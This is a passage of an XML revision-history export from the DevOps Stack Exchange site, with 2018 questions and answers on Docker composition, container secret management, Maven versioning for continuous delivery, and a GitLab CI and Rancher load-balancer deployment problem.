ADD/COPY/RUN to get a java JDK into it. Correct?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; - I can do in docker-compose.yml also actions that I can have in dockerfile too (e.g. workdir and command). Is it better to keep it in dockerfile and see docker-compose only for assembling multiple containers OR should I put as many things into docker-compose as I can?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="14673" PostHistoryTypeId="1" PostId="4681" RevisionGUID="ca1dcc31-f1fb-4a26-9acb-b792f461b6b6" CreationDate="2018-08-03T10:12:44.140" UserId="9090" Text="Docker: strategy-advise for a rookie" ContentLicense="CC BY-SA 4.0" />
  <row Id="14674" PostHistoryTypeId="3" PostId="4681" RevisionGUID="ca1dcc31-f1fb-4a26-9acb-b792f461b6b6" CreationDate="2018-08-03T10:12:44.140" UserId="9090" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14675" PostHistoryTypeId="2" PostId="4682" RevisionGUID="d0ce8a2c-24e5-45e2-b218-ed847d058ceb" CreationDate="2018-08-03T11:09:53.030" UserId="210" Text="[According to this documentation][1], Docker Toolbox is a legacy product and one should use docker-for-X.&#xD;&#xA;&#xD;&#xA;&gt; Legacy desktop solution. Docker Toolbox is for older Mac and Windows&#xD;&#xA;&gt; systems that do not meet the requirements of Docker for Mac and Docker&#xD;&#xA;&gt; for Windows. We recommend updating to the newer applications, if&#xD;&#xA;&gt; possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/toolbox/toolbox_install_windows/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14676" PostHistoryTypeId="2" PostId="4683" RevisionGUID="623b2733-9b50-4051-a35f-48d3e23fc26e" CreationDate="2018-08-03T15:13:00.287" UserId="7730" Text="If you start a container with an environment variable, that variable is part of the container definition. As a pro, when the server is rebooted, the same variable will be there when the container restarts. But as a con, anyone with access to the docker API can view that secret in clear text, and some apps log their environment when debugging.&#xD;&#xA;&#xD;&#xA;With swarm mode (Kubernetes has their own similar solution), you can define your secret on the manager and it will be given to nodes running the container on a need to know basis. The secret is accessible inside the container as a file, but that file is only stored in memory on the worker node, and you can use an entrypoint script in your container to load that into the environment if that's how the application expects it. The swarm mode secrets and configs have the advantage of being portable as the container is rescheduled on other nodes in the event of a worker crash. Migrating from a docker-compose install to a single node swarm cluster and deploying a stack is a very simple task.&#xD;&#xA;&#xD;&#xA;There are also external solutions for storing configs and secrets in key/value stores like CoreOS's etcd and Hashicorp's Vault. Both Swarm Mode and Kubernetes use a key/value store for their own settings, giving you an idea of how the community sees it as a best practice. The downside is you often want to configure the application to read and write configuration from one of these key/value stores directly. If you use something like swarm mode secrets and configs, these will be stored in docker's internal key/value database, so you get a similar solution with little effort on your part." ContentLicense="CC BY-SA 4.0" />
  <row Id="14677" PostHistoryTypeId="5" PostId="4680" RevisionGUID="b7613ac4-ce56-47b9-93c2-0e196f5a26b8" CreationDate="2018-08-03T16:52:00.310" UserId="6375" Comment="Format content" Text="At the moment, we're doing &quot;traditional&quot; deployment, where every couple of weeks, we roll a release. We rely on [Semantic Versioning][1], which has worked well for us.&#xD;&#xA;&#xD;&#xA;However, we now want to release faster, using Jenkins Pipelines etc, but I'm not sure what the best versioning strategy would be. Not having any versions (only Snapshots) is a step backwards, creating new versions all the time seems to be a lot of work.&#xD;&#xA;&#xD;&#xA;So, is there anybody out there doing CD with Maven?&#xD;&#xA;&#xD;&#xA;What's your strategy?&#xD;&#xA;&#xD;&#xA;  [1]: https://semver.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14678" PostHistoryTypeId="4" PostId="4680" RevisionGUID="b7613ac4-ce56-47b9-93c2-0e196f5a26b8" CreationDate="2018-08-03T16:52:00.310" UserId="6375" Comment="Format content" Text="What is the Maven versioning strategy for Continuous Delivery or Deployment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14679" PostHistoryTypeId="24" PostId="4680" RevisionGUID="b7613ac4-ce56-47b9-93c2-0e196f5a26b8" CreationDate="2018-08-03T16:52:00.310" Comment="Proposed by 6375 approved by -1 edit id of 741" ContentLicense="CC BY-SA 4.0" />
  <row Id="14680" PostHistoryTypeId="5" PostId="4680" RevisionGUID="831d9179-ffae-40f3-b6ed-506ceac43a83" CreationDate="2018-08-03T16:52:00.310" UserId="40" Comment="Format content" Text="At the moment, we're doing &quot;traditional&quot; deployment, where every couple of weeks, we roll a release. We rely on [Semantic Versioning][1], which has worked well for us.&#xD;&#xA;&#xD;&#xA;However, we now want to release faster, using Jenkins Pipelines etc, but I'm not sure what the best versioning strategy would be. Not having any versions (only Snapshots) is a step backwards, creating new versions all the time seems to be a lot of work.&#xD;&#xA;&#xD;&#xA;So, if you are doing CD with Maven, what's your strategy?&#xD;&#xA;&#xD;&#xA;  [1]: https://semver.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14681" PostHistoryTypeId="36" PostId="4684" RevisionGUID="7a051707-fa91-4ce7-a074-bd123340d65f" CreationDate="2018-08-03T17:07:02.687" UserId="-1" Comment="from https://stackoverflow.com/questions/51634068/cd-continuous-deployment-best-practices-for-managing-configuration" />
  <row Id="14682" PostHistoryTypeId="36" PostId="4685" RevisionGUID="976fd5fb-0374-4f09-8051-193e620d7d29" CreationDate="2018-08-03T17:07:02.687" UserId="-1" Comment="from https://stackoverflow.com/questions/51634068/cd-continuous-deployment-best-practices-for-managing-configuration/51662428#51662428" />
  <row Id="14683" PostHistoryTypeId="2" PostId="4685" RevisionGUID="707947e8-90fa-42f4-93ea-60d2e6a94a36" CreationDate="2018-08-02T21:31:05.800" UserId="7155" Text="Our scenario is very similar to yours. Our configuration is a plaintext YAML file that is stored on the host that is [bound mounted](https://docs.docker.com/storage/bind-mounts/) into the container. &#xD;&#xA;&#xD;&#xA;It's not ideal because secrets are in plaintext. It's also problematic to maintain parity between 2 nodes. &#xD;&#xA;&#xD;&#xA;As someone mentioned in the comments; k8s is one potential solution, but it feels like an overkill for a 2 node system. I haven't found anything between `docker-compose` and k8s yet." ContentLicense="CC BY-SA 4.0" />
  <row Id="14684" PostHistoryTypeId="2" PostId="4684" RevisionGUID="6903965b-9c2e-4464-a352-497bfc18e90d" CreationDate="2018-08-01T13:05:32.453" UserId="9051" Text="My CD pipeline:  &#xD;&#xA;&#xD;&#xA; 1. Get docker image (created and pushed during CI stage)&#xD;&#xA; 2. Copy docker-compose .yml template to target server&#xD;&#xA; 3. Run the app&#xD;&#xA;&#xD;&#xA;Let's go straight to the 3rd point. I can run the app using docker-compose up e.g., but I have no idea how to handle configuration. Target server is a Ubuntu Server created by Chief on AWS, I have an access to all AWS services like Parameter Store etc.  &#xD;&#xA;&#xD;&#xA;So here are my ideas about managing configurations:&#xD;&#xA;&#xD;&#xA; 1. save secrets to configuration file before running the app and attach this file to specific location in docker-compose template (I don't like this solution, I can handle this by some bash script that inject secrets to file)&#xD;&#xA; 2. set environment variables before running the app (I talked with some devops and basically they like this solution)&#xD;&#xA; 3. get secrets from AWS Parameter Store (unfortunately I can't have an access by role management, only by key which I need to set on server by env or in config file)&#xD;&#xA;&#xD;&#xA;How managing configuration looks in real case scenarios? I'm worried about case of server crash or something similar. 1st solution will survive this, but in case of 2nd and 3rd ones the environment variables will be lost after crash/reboot. What is the best solution here?&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14685" PostHistoryTypeId="1" PostId="4684" RevisionGUID="6903965b-9c2e-4464-a352-497bfc18e90d" CreationDate="2018-08-01T13:05:32.453" UserId="9051" Text="CD (Continuous Deployment) best practices for managing configuration" ContentLicense="CC BY-SA 4.0" />
  <row Id="14686" PostHistoryTypeId="3" PostId="4684" RevisionGUID="6903965b-9c2e-4464-a352-497bfc18e90d" CreationDate="2018-08-01T13:05:32.453" UserId="9051" Text="&lt;docker&gt;&lt;deployment&gt;&lt;docker-compose&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14687" PostHistoryTypeId="2" PostId="4686" RevisionGUID="a6b1aa95-5e9d-4722-b0ba-908d7fc751b4" CreationDate="2018-08-03T18:23:42.837" UserId="4175" Text="* Yes, one would usually have minimal docker images, i.e., one responsibility per image/container, with appropriate networking between them.&#xD;&#xA;* Yes, images are linear, there is only ever one unbroken line of `FROM`s. To merge two images, get the two `Dockerfile`s and see what they are doing; it should be pretty self explanatory. Then you can either craft a single new `Dockerfile` mixing and merging lines from the sources, or keep one of the original dependencies as your `FROM`, and just copy lines from the other original to a new `Dockerfile`.&#xD;&#xA;* You would use `command` in a `docker-compose.yml` in the same cases when you would give a command on the `docker run` line, in case you were running the container manually. That is, if you have an image which conveniently supports different commands, and were it would just be a waste to have a different image per command. So... if you find that you run your container with the same command in 99% of all cases, then put that `CMD` into the `Dockerfile` and remove it from the `docker-compose.yml`. If you find, instead, that you are using different commands all the time, then keep them in `docker-compose.yml`." ContentLicense="CC BY-SA 4.0" />
  <row Id="14688" PostHistoryTypeId="50" PostId="4058" RevisionGUID="c7865ed4-71bd-4d91-b483-5d982b6d5bda" CreationDate="2018-08-03T19:03:05.180" UserId="-1" />
  <row Id="14689" PostHistoryTypeId="10" PostId="4668" RevisionGUID="c599bf5a-2834-49f5-b7ca-78aaa49a0ba4" CreationDate="2018-08-03T20:00:37.957" UserId="13" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[4684],&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="14690" PostHistoryTypeId="2" PostId="4687" RevisionGUID="84e0f1e5-a3e8-4025-a1f1-4124fba7a33f" CreationDate="2018-08-03T20:38:34.993" UserId="7730" Text="[Copying answer over from [duplicate post](https://devops.stackexchange.com/q/4668/7730)]&#xD;&#xA;&#xD;&#xA;If you start a container with an environment variable, that variable is part of the container definition. As a pro, when the server is rebooted, the same variable will be there when the container restarts. But as a con, anyone with access to the docker API can view that secret in clear text, and some apps log their environment when debugging.&#xD;&#xA;&#xD;&#xA;With swarm mode (Kubernetes has their own similar solution), you can define your secret on the manager and it will be given to nodes running the container on a need to know basis. The secret is accessible inside the container as a file, but that file is only stored in memory on the worker node, and you can use an entrypoint script in your container to load that into the environment if that's how the application expects it. The swarm mode secrets and configs have the advantage of being portable as the container is rescheduled on other nodes in the event of a worker crash. Migrating from a docker-compose install to a single node swarm cluster and deploying a stack is a very simple task.&#xD;&#xA;&#xD;&#xA;There are also external solutions for storing configs and secrets in key/value stores like CoreOS's etcd and Hashicorp's Vault. Both Swarm Mode and Kubernetes use a key/value store for their own settings, giving you an idea of how the community sees it as a best practice. The downside is you often want to configure the application to read and write configuration from one of these key/value stores directly. If you use something like swarm mode secrets and configs, these will be stored in docker's internal key/value database, so you get a similar solution with little effort on your part.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14693" PostHistoryTypeId="2" PostId="4688" RevisionGUID="9fbd15dd-b5ae-4afa-84f4-f3c24b50bec0" CreationDate="2018-08-04T03:40:22.907" UserId="1073" Text="I hope you can help me with this issue.&#xD;&#xA;&#xD;&#xA;I have setup a CI/CD pipeline which triggers builds, packages, and deploys tasks that execute on Gitlab online whenever a Spring boot RESTful service app is checked in. The three stages and tasks run successfully but whenever I test the app by navigating to the load balancer URL in a browser, I discover that one load balancer target returns (type=Not Found, status=404) error, while the other target returns the JSON response that is expected. The load balancer defaults to a round-robin algorithm in the distribution of requests to targets.&#xD;&#xA;&#xD;&#xA;The infrastructure provider is Digital Ocean.&#xD;&#xA;&#xD;&#xA;What am I doing wrong?&#xD;&#xA;&#xD;&#xA;Kindly find below the .gitlab-ci.yml file&#xD;&#xA;&#xD;&#xA;    image: docker:latest&#xD;&#xA;    services:&#xD;&#xA;      - docker:dind&#xD;&#xA;    &#xD;&#xA;    variables:&#xD;&#xA;      DOCKER_DRIVER: overlay&#xD;&#xA;      SPRING_PROFILES_ACTIVE: gitlab-ci&#xD;&#xA;    &#xD;&#xA;    stages:&#xD;&#xA;      - build&#xD;&#xA;      - package&#xD;&#xA;      - deploy&#xD;&#xA;    &#xD;&#xA;    maven-build:&#xD;&#xA;      image: maven:3-jdk-8&#xD;&#xA;      stage: build&#xD;&#xA;      script: &quot;mvn package -B&quot;&#xD;&#xA;      artifacts:&#xD;&#xA;        paths:&#xD;&#xA;          - target/*.jar&#xD;&#xA;    &#xD;&#xA;    docker-build:&#xD;&#xA;      stage: package&#xD;&#xA;      script:&#xD;&#xA;      - docker login -u gitlab-ci-token -p $CI_BUILD_TOKEN registry.gitlab.com&#xD;&#xA;      - docker build -t registry.gitlab.com/username/mta-hosting-optimizer .&#xD;&#xA;      - docker push registry.gitlab.com/username/mta-hosting-optimizer&#xD;&#xA;    &#xD;&#xA;    digitalocean-deploy:&#xD;&#xA;      image: cdrx/rancher-gitlab-deploy&#xD;&#xA;      stage: deploy&#xD;&#xA;      script:&#xD;&#xA;      - upgrade --environment Default --stack mta-hosting-optimizer --service web --new-image registry.gitlab.com/username/mta-hosting-optimizer&#xD;&#xA;      - upgrade --environment Default --stack mta-hosting-optimizer --service web2 --new-image registry.gitlab.com/username/mta-hosting-optimizer&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;docker-compose.yml&#xD;&#xA;&#xD;&#xA;    version: '2'&#xD;&#xA;    services:&#xD;&#xA;      web:&#xD;&#xA;        image: registry.gitlab.com/username/mta-hosting-optimizer:latest&#xD;&#xA;        ports:&#xD;&#xA;        - 8082:8080/tcp&#xD;&#xA;      mta-hosting-optimizer-lb:&#xD;&#xA;        image: rancher/lb-service-haproxy:v0.9.1&#xD;&#xA;        ports:&#xD;&#xA;        - 80:80/tcp&#xD;&#xA;        labels:&#xD;&#xA;          io.rancher.container.agent.role: environmentAdmin,agent&#xD;&#xA;          io.rancher.container.agent_service.drain_provider: 'true'&#xD;&#xA;          io.rancher.container.create_agent: 'true'&#xD;&#xA;      web2:&#xD;&#xA;        image: registry.gitlab.com/username/mta-hosting-optimizer:latest&#xD;&#xA;        ports:&#xD;&#xA;        - 8082:8080/tcp&#xD;&#xA;&#xD;&#xA;rancher-compose.yml&#xD;&#xA;&#xD;&#xA;    version: '2'&#xD;&#xA;    services:&#xD;&#xA;      web:&#xD;&#xA;        scale: 1&#xD;&#xA;        start_on_create: true&#xD;&#xA;      mta-hosting-optimizer-lb:&#xD;&#xA;        scale: 1&#xD;&#xA;        start_on_create: true&#xD;&#xA;        lb_config:&#xD;&#xA;          certs: []&#xD;&#xA;          port_rules:&#xD;&#xA;          - path: ''&#xD;&#xA;            priority: 1&#xD;&#xA;            protocol: http&#xD;&#xA;            service: web&#xD;&#xA;            source_port: 80&#xD;&#xA;            target_port: 8080&#xD;&#xA;          - priority: 2&#xD;&#xA;            protocol: http&#xD;&#xA;            service: web2&#xD;&#xA;            source_port: 80&#xD;&#xA;            target_port: 8080&#xD;&#xA;        health_check:&#xD;&#xA;          response_timeout: 2000&#xD;&#xA;          healthy_threshold: 2&#xD;&#xA;          port: 42&#xD;&#xA;          unhealthy_threshold: 3&#xD;&#xA;          initializing_timeout: 60000&#xD;&#xA;          interval: 2000&#xD;&#xA;          reinitializing_timeout: 60000&#xD;&#xA;      web2:&#xD;&#xA;        scale: 1&#xD;&#xA;        start_on_create: true&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14694" PostHistoryTypeId="1" PostId="4688" RevisionGUID="9fbd15dd-b5ae-4afa-84f4-f3c24b50bec0" CreationDate="2018-08-04T03:40:22.907" UserId="1073" Text="After deployment, one Rancher load balanced RESTful app instance returns 404 while other returns results" ContentLicense="CC BY-SA 4.0" />
  <row Id="14695" PostHistoryTypeId="3" PostId="4688" RevisionGUID="9fbd15dd-b5ae-4afa-84f4-f3c24b50bec0" CreationDate="2018-08-04T03:40:22.907" UserId="1073" Text="&lt;docker&gt;&lt;deployment&gt;&lt;gitlab&gt;&lt;rancher&gt;&lt;loadbalancing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14697" PostHistoryTypeId="5" PostId="4688" RevisionGUID="b3dc0e13-9664-4dbb-a445-371b0b65a7ac" CreationDate="2018-08-04T07:40:49.373" UserId="40" Comment="remove noise" Text="I have setup a CI/CD pipeline which triggers builds, packages, and deploys tasks that execute on Gitlab online whenever a Spring boot RESTful service app is checked in. The three stages and tasks run successfully but whenever I test the app by navigating to the load balancer URL in a browser, I discover that one load balancer target returns (type=Not Found, status=404) error, while the other target returns the JSON response that is expected. The load balancer defaults to a round-robin algorithm in the distribution of requests to targets.&#xD;&#xA;&#xD;&#xA;The infrastructure provider is Digital Ocean.&#xD;&#xA;&#xD;&#xA;What am I doing wrong?&#xD;&#xA;&#xD;&#xA;Kindly find below the .gitlab-ci.yml file&#xD;&#xA;&#xD;&#xA;    image: docker:latest&#xD;&#xA;    services:&#xD;&#xA;      - docker:dind&#xD;&#xA;    &#xD;&#xA;    variables:&#xD;&#xA;      DOCKER_DRIVER: overlay&#xD;&#xA;      SPRING_PROFILES_ACTIVE: gitlab-ci&#xD;&#xA;    &#xD;&#xA;    stages:&#xD;&#xA;      - build&#xD;&#xA;      - package&#xD;&#xA;      - deploy&#xD;&#xA;    &#xD;&#xA;    maven-build:&#xD;&#xA;      image: maven:3-jdk-8&#xD;&#xA;      stage: build&#xD;&#xA;      script: &quot;mvn package -B&quot;&#xD;&#xA;      artifacts:&#xD;&#xA;        paths:&#xD;&#xA;          - target/*.jar&#xD;&#xA;    &#xD;&#xA;    docker-build:&#xD;&#xA;      stage: package&#xD;&#xA;      script:&#xD;&#xA;      - docker login -u gitlab-ci-token -p $CI_BUILD_TOKEN registry.gitlab.com&#xD;&#xA;      - docker build -t registry.gitlab.com/username/mta-hosting-optimizer .&#xD;&#xA;      - docker push registry.gitlab.com/username/mta-hosting-optimizer&#xD;&#xA;    &#xD;&#xA;    digitalocean-deploy:&#xD;&#xA;      image: cdrx/rancher-gitlab-deploy&#xD;&#xA;      stage: deploy&#xD;&#xA;      script:&#xD;&#xA;      - upgrade --environment Default --stack mta-hosting-optimizer --service web --new-image registry.gitlab.com/username/mta-hosting-optimizer&#xD;&#xA;      - upgrade --environment Default --stack mta-hosting-optimizer --service web2 --new-image registry.gitlab.com/username/mta-hosting-optimizer&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;docker-compose.yml&#xD;&#xA;&#xD;&#xA;    version: '2'&#xD;&#xA;    services:&#xD;&#xA;      web:&#xD;&#xA;        image: registry.gitlab.com/username/mta-hosting-optimizer:latest&#xD;&#xA;        ports:&#xD;&#xA;        - 8082:8080/tcp&#xD;&#xA;      mta-hosting-optimizer-lb:&#xD;&#xA;        image: rancher/lb-service-haproxy:v0.9.1&#xD;&#xA;        ports:&#xD;&#xA;        - 80:80/tcp&#xD;&#xA;        labels:&#xD;&#xA;          io.rancher.container.agent.role: environmentAdmin,agent&#xD;&#xA;          io.rancher.container.agent_service.drain_provider: 'true'&#xD;&#xA;          io.rancher.container.create_agent: 'true'&#xD;&#xA;      web2:&#xD;&#xA;        image: registry.gitlab.com/username/mta-hosting-optimizer:latest&#xD;&#xA;        ports:&#xD;&#xA;        - 8082:8080/tcp&#xD;&#xA;&#xD;&#xA;rancher-compose.yml&#xD;&#xA;&#xD;&#xA;    version: '2'&#xD;&#xA;    services:&#xD;&#xA;      web:&#xD;&#xA;        scale: 1&#xD;&#xA;        start_on_create: true&#xD;&#xA;      mta-hosting-optimizer-lb:&#xD;&#xA;        scale: 1&#xD;&#xA;        start_on_create: true&#xD;&#xA;        lb_config:&#xD;&#xA;          certs: []&#xD;&#xA;          port_rules:&#xD;&#xA;          - path: ''&#xD;&#xA;            priority: 1&#xD;&#xA;            protocol: http&#xD;&#xA;            service: web&#xD;&#xA;            source_port: 80&#xD;&#xA;            target_port: 8080&#xD;&#xA;          - priority: 2&#xD;&#xA;            protocol: http&#xD;&#xA;            service: web2&#xD;&#xA;            source_port: 80&#xD;&#xA;            target_port: 8080&#xD;&#xA;        health_check:&#xD;&#xA;          response_timeout: 2000&#xD;&#xA;          healthy_threshold: 2&#xD;&#xA;          port: 42&#xD;&#xA;          unhealthy_threshold: 3&#xD;&#xA;          initializing_timeout: 60000&#xD;&#xA;          interval: 2000&#xD;&#xA;          reinitializing_timeout: 60000&#xD;&#xA;      web2:&#xD;&#xA;        scale: 1&#xD;&#xA;        start_on_create: true&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14698" PostHistoryTypeId="5" PostId="4681" RevisionGUID="6625ffab-808b-4ca1-8d85-073863e6ac76" CreationDate="2018-08-04T07:44:06.503" UserId="40" Comment="remove noise" Text="I am VERY new to Docker and I looking for a confirmation of my views and my usage of Docker in my use-cases.&#xD;&#xA;&#xD;&#xA;I'll try it with examples:&#xD;&#xA;&#xD;&#xA; - I have a T3 application. Every tier is a basic requirement (lets say persistence with postgres, application with java, presentation with php). Because I find for any tier an image on docker-hub I use them and compose them to have 3 running containers which exchange their data via network. Correct?&#xD;&#xA;&#xD;&#xA; - I have an application that is in java and needs to work on the files of centos (e.g. read logs). There is not interaction - only stdout or files. Docker-images for centos are available, for java too. There is no easy way to create a Dockerfile with a double FROM. So I build my own image from centos and do ADD/COPY/RUN to get a java JDK into it. Correct?&#xD;&#xA;&#xD;&#xA; - I can do in docker-compose.yml also actions that I can have in dockerfile too (e.g. workdir and command). Is it better to keep it in dockerfile and see docker-compose only for assembling multiple containers OR should I put as many things into docker-compose as I can?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14699" PostHistoryTypeId="5" PostId="4678" RevisionGUID="0357ad4b-090c-400c-b975-1a1421c8b417" CreationDate="2018-08-04T07:46:24.193" UserId="40" Comment="added 8 characters in body; edited title" Text="I am using Ansible and created a Playbook for deployment. I defined `log_path` in `ansible.cfg` and now tasks output are going to this log file. I want to send only few task's log into this log file. How can I achieve this ?&#xD;&#xA;&#xD;&#xA;One option is to use `no_log: True` attribute but this is not displaying the logs on console.&#xD;&#xA;&#xD;&#xA;So my requirement is to display all task's logs in console but I want to send only few task's log to my log file." ContentLicense="CC BY-SA 4.0" />
  <row Id="14700" PostHistoryTypeId="4" PostId="4678" RevisionGUID="0357ad4b-090c-400c-b975-1a1421c8b417" CreationDate="2018-08-04T07:46:24.193" UserId="40" Comment="added 8 characters in body; edited title" Text="How to write logs for certain tasks only?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14701" PostHistoryTypeId="5" PostId="4675" RevisionGUID="fb68624c-9e85-43fa-bbb9-1d4f489a0271" CreationDate="2018-08-04T07:48:21.487" UserId="40" Comment="added 8 characters in body; edited title" Text="I got the following setup with aws code deploy:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;However it takes about 7 minutes from the moment i push a git branch remotely to the moment the deploy is completed. The time is broken down like so:&#xD;&#xA;&#xD;&#xA;- bitbucket deploy: 45 seconds&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;- provisioning a new ec2 instance: 3:40 minutes&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;- installing application on replacement instance: 40 seconds&#xD;&#xA;&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;- 2 minutes rerouting traffic from old instance to new one *this one is extremely long, if it were done manually it would literally take 10 seconds)&#xD;&#xA;&#xD;&#xA;- 17 seconds terminating second instance&#xD;&#xA;&#xD;&#xA;[![enter image description here][5]][5]&#xD;&#xA;&#xD;&#xA;All together it's around 7 minutes.&#xD;&#xA;&#xD;&#xA;How can I optimize this? I'm looking to shrink it to below 1 minute.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/v5r31.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/HzWfa.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/tzBgQ.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/ijLab.png&#xD;&#xA;  [5]: https://i.stack.imgur.com/egJl0.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="14702" PostHistoryTypeId="4" PostId="4675" RevisionGUID="fb68624c-9e85-43fa-bbb9-1d4f489a0271" CreationDate="2018-08-04T07:48:21.487" UserId="40" Comment="added 8 characters in body; edited title" Text="How to optimize blue/green aws deployments?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14703" PostHistoryTypeId="5" PostId="4670" RevisionGUID="f17c8575-1ec2-4e4a-a70d-e670a74f1f76" CreationDate="2018-08-04T08:22:13.637" UserId="40" Comment="added 23 characters in body; edited title" Text="I have two different codes like AngularJs and Wordpress code.&#xD;&#xA;&#xD;&#xA;In Wordpress I created one page. I want to access that page and after accessing the AngularJs code in one URL.&#xD;&#xA;&#xD;&#xA;Any suggestions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14704" PostHistoryTypeId="4" PostId="4670" RevisionGUID="f17c8575-1ec2-4e4a-a70d-e670a74f1f76" CreationDate="2018-08-04T08:22:13.637" UserId="40" Comment="added 23 characters in body; edited title" Text="How to access Worpdress and Angular code in one url?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14705" PostHistoryTypeId="2" PostId="4690" RevisionGUID="6d3815c3-0356-4b57-a05b-b035d9e8cc14" CreationDate="2018-08-04T08:31:44.797" UserId="40" Text="If only you would add the missing quote for SMOKE_CMD (credits to [ilhicas][1] who first mentioned something about that in a comment below your question), you might get UUIDs that are no longer different ... Similar to what you seem to have done in revision 2 of your question already.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/8534/ilhicas" ContentLicense="CC BY-SA 4.0" />
  <row Id="14706" PostHistoryTypeId="5" PostId="4660" RevisionGUID="67fbab20-be36-4ce0-8bf2-b57daade588f" CreationDate="2018-08-04T08:34:25.467" UserId="40" Comment="remove noise" Text="I want to run zabbix inside Docker and there are images for MySQL, Nginx and zabbix server ready to go.&#xD;&#xA;&#xD;&#xA;I know that to keep the containers stateless I need to map a volume on the host to the container. I know that for MySQL the important container volume to map is &#xD;&#xA;&#xD;&#xA;`/var/lib/mysql`&#xD;&#xA;&#xD;&#xA;But what are important parts of zabbix to backup so that the container can stay truest stateless?&#xD;&#xA;&#xD;&#xA;From what I can tell it seems to be all the directories under `/var/lib/zabbix`." ContentLicense="CC BY-SA 4.0" />
  <row Id="14707" PostHistoryTypeId="4" PostId="4655" RevisionGUID="89e53c6f-649b-44f3-9a77-24f89d5cc6ea" CreationDate="2018-08-04T08:36:40.123" UserId="40" Comment="edited title" Text="How to update pods if version hasn't changed?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14708" PostHistoryTypeId="5" PostId="4651" RevisionGUID="e211f36e-83f9-48a0-afa7-6dd3a58c7018" CreationDate="2018-08-04T08:38:20.017" UserId="40" Comment="added 1 character in body; edited title" Text="I'm trying to migrate our deployment process over to aws code deploy (by following instructions here:https://pionect.nl/autoscaling-aws-laravel-codedeploy-opsworks-chef-automation/). &#xD;&#xA;&#xD;&#xA;When I'm creating the auto-scaling group, I selected the same vpc as my other instances belong to. However when I do that, it says that it the ec2 instance will not be assigned a public ip. How come? My other instances have the same vpc id and are assigned an ip address just fine.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/oLdoB.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/ijq1U.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="14709" PostHistoryTypeId="4" PostId="4651" RevisionGUID="e211f36e-83f9-48a0-afa7-6dd3a58c7018" CreationDate="2018-08-04T08:38:20.017" UserId="40" Comment="added 1 character in body; edited title" Text="Why don't the instances in the auto-scaling group get assigned public ip addresses unless it's a default vpc?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14710" PostHistoryTypeId="50" PostId="3646" RevisionGUID="54ccfa33-82f2-4004-bef9-ca7436b2d39d" CreationDate="2018-08-04T14:00:52.593" UserId="-1" />
  <row Id="14711" PostHistoryTypeId="50" PostId="4222" RevisionGUID="7aeb5b6f-76e8-4471-9ac8-e1fe472778bd" CreationDate="2018-08-04T17:00:02.607" UserId="-1" />
  <row Id="14712" PostHistoryTypeId="2" PostId="4691" RevisionGUID="69a4a4bb-a660-4b11-95df-612456fa386b" CreationDate="2018-08-04T21:13:39.267" UserId="228" Text="The block needs to be resolved for each stage, otherwise you could not use stage dependent methods in the block, so there would need to be some check on what methods to use and what to not use, it would lead to even more problems. Further each stage can be executed on different node, so the code needs to re-resolve it. Otherwise it would just behave differently with single node or in parallel. Just deal with it.&#xD;&#xA;&#xD;&#xA;Instead of setting the variables in the environment block, simply set them in the first stage. And in the agent set the `reuseNode true`.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14713" PostHistoryTypeId="50" PostId="3816" RevisionGUID="e65d46db-4af7-4848-8df0-48f0b1cc0e50" CreationDate="2018-08-04T22:00:44.590" UserId="-1" />
  <row Id="14714" PostHistoryTypeId="50" PostId="4454" RevisionGUID="2b287bdd-c02f-4762-86b7-a8c01a14b64d" CreationDate="2018-08-04T23:00:56.470" UserId="-1" />
